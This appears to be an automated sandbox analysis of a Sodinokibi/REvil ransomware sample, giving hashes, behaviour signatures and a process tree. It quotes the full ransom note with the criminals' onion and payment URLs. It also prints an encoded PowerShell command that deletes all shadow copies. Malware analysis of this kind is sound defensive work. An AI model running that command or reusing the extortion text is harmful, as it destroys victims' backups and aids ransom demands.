Overview

overview

10

Static

static

10

e9e5459e32...in.exe

windows7_x64

10

e9e5459e32...in.exe

windows10_x64

10

Analysis

  • max time kernel
    137s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    29-07-2020 14:07

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.bin.exe

  • Size

    115KB

  • MD5

    0800618cde0d124c6616ef384fbe1434

  • SHA1

    9404f15917b9a216242063d1b7759d891bf11314

  • SHA256

    e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923

  • SHA512

    0dbedc86f146716a394af812e63e6b721c37cf1f49da07ac35d2106495b19a5f473344ab90a026e84441c4d0741c3b21ba1815616886ce692d6b6f03b0a45703

Score
10/10
ransomwaresodinokibipersistence

Malware Config

Extracted

Path

C:\How to decrypt uf1a74-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension uf1a74. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C10691F7C3AA2D8D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/C10691F7C3AA2D8D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: +ibhL+bYeK8DdU2NHtPcUGjfvB1P8ullYkoTZEBP1lC0WI/gPnLxkhP5p1bvwKVc Ir+d07CJdBJ0mnSgcSk96LVixOnJruKJ769zi8jNRRQi6ldJBcOrG1A83Nis2nmS qY9UVewnEJJVo+1F21Uyfi3sEnvQwcBT065PX05C7wMUb81MH26kSFB6Gl7T1sVu zz1XPC7NX3tskrcz/TtYUyCzifQoTnpP/qpN6UEmkbfHyN/5GXDJ/uXh+tb/3g56 6lnFbglpAsuO/BXacBSnUC2WOmjxh5PRopPwlNsoVL3JWvWxRlPolmfdLBHTvQot MgvcoLzyxSuf93QDRYAVwWnIHxVKR5v0QHZXoEaflr4AalZx3Deb9Ljd4XVHdATN NxTmRgDi8R1R2S+iI0lauCqqR4vR5NuKkaFwOJHeDYx+nE4jmN9Bcn90RxDnEokD +j2kz5At7dzOwiN25f0C/MqTkCRFYakQBIsCTmz1T4swLf125t0GdDAYqUl5tWPe hXM88f27cEySp1pXkS6FO/yFIK03zwwK+xDdKCBmrHqUBucs09e1p32O5k2suIdJ OfMBApGN5RqgIYCJK8EpSJsupmDp0CYR/DLF3AQDjAqeAyLJPbihvTKf8c87xl4Q fvdQe15+k67ChqhBNnktGoC0QLJ/ycVCECA74tajEIN4ADnj6ErMJgr3mjRW8Zmo L9/blYtDe4rJNOatSGwM5SiSTl4M0uYhrJOjQ3zUafimzeCrpTEAWD+dEb5cTv0t w63SByLjjqdN/UJ2K6r5TIllUXJg0hJirStB/oLLHlWLXqwJyKbGi0ixzyFV9ujh 7AlT+vpm+zued8RyEQjZ8O6pUtYPz3R+J4NFlxJnEzJESDkckrPdmrETxhId+wdO nmwMhzgPsLC3zNeOFmkINjH+cDD/WSQJ8THLHURfyjvHO43aQp1tjVnKN5eP8JXm m2CPTQE+3jjD4/UpkjRQZC1uO+9U/Hv66HI8aI/yd8QD1Rpv7At/OXVmEkhGLvBJ MIYyQiElfi+bhduhXzEcfovd0zSa8EDQj+qFWYD1frgwCVRG4/82zh1TNucgXFr/ 9eK0lOKAHQZjzGaupO6Ka4U4zkvtQ6VXIJSPfbqCVg1i4c+3DnflhG1ammQLrUm0 aD03JB7G7t/HJGuAUqUw9SM3HGs1ULfHkwo068tJZ70lLLaw33pJHUtn9BfXq2w7 uvPAPtXHhC4XgtZMTW5fU8A6TG6Wrf67k0zWCVksRCswdpx1nOUUimJeDDEWnCTs kWlL6dvU9/F/5kJ9f38TFA== Extension name: uf1a74 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C10691F7C3AA2D8D

http://decryptor.cc/C10691F7C3AA2D8D

Signatures

  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Modifies service 2 TTPs 5 IoCs
    persistence
  • Drops file in Program Files directory 30 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Enumerates connected drives 3 TTPs
  • Modifies extensions of user files 11 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 87 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan

Processes

  • C:\Users\Admin\AppData\Local\Temp\e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.bin.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    • Sets desktop wallpaper using registry
    • Modifies extensions of user files
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Modifies system certificate store
    PID:648
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      PID:764
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1232
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Modifies service
      • Suspicious use of AdjustPrivilegeToken
      PID:2320

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/764-0-0x0000000000000000-mapping.dmp

      Download